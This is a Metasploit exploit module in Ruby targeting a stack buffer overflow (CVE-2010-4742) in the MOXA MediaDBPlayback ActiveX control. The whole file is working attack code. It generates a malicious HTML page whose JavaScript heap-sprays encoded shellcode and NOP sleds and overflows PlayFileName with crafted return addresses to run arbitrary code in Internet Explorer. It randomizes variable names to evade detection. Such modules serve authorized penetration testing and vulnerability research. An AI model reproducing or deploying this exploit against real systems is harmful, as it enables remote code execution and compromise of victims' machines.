##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

  Rank = AverageRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MOXA MediaDBPlayback ActiveX Control Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in MOXA_ActiveX_SDK. When
        sending an overly long string to the PlayFileName() of MediaDBPlayback.DLL (2.2.0.5)
        an attacker may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2010-4742' ],
          [ 'OSVDB', '68986'],
          [ 'URL', 'http://www.moxa.com' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0a0a0a0a } ]
        ],
      'DisclosureDate' => 'Oct 19 2010',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.',  'msf.html']),
      ], self.class)
  end

  def exploit
    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Create some nops.
    nops    = Rex::Text.to_unescape(make_nops(4))

    # Set the return.
    ret     = Rex::Text.uri_encode([target.ret].pack('L'))

    # Randomize the javascript variable names.
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)  + 2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)

    content = %Q|
<html>
<object id ='#{vname}' classid='clsid:5B32067A-121B-49DE-8182-91EB13DDF8D6'></object>
<script language ="javascript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{nops}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 14500; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.PlayFileName = #{rand8};
</script>
</html>
    |

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(content)
  end

end
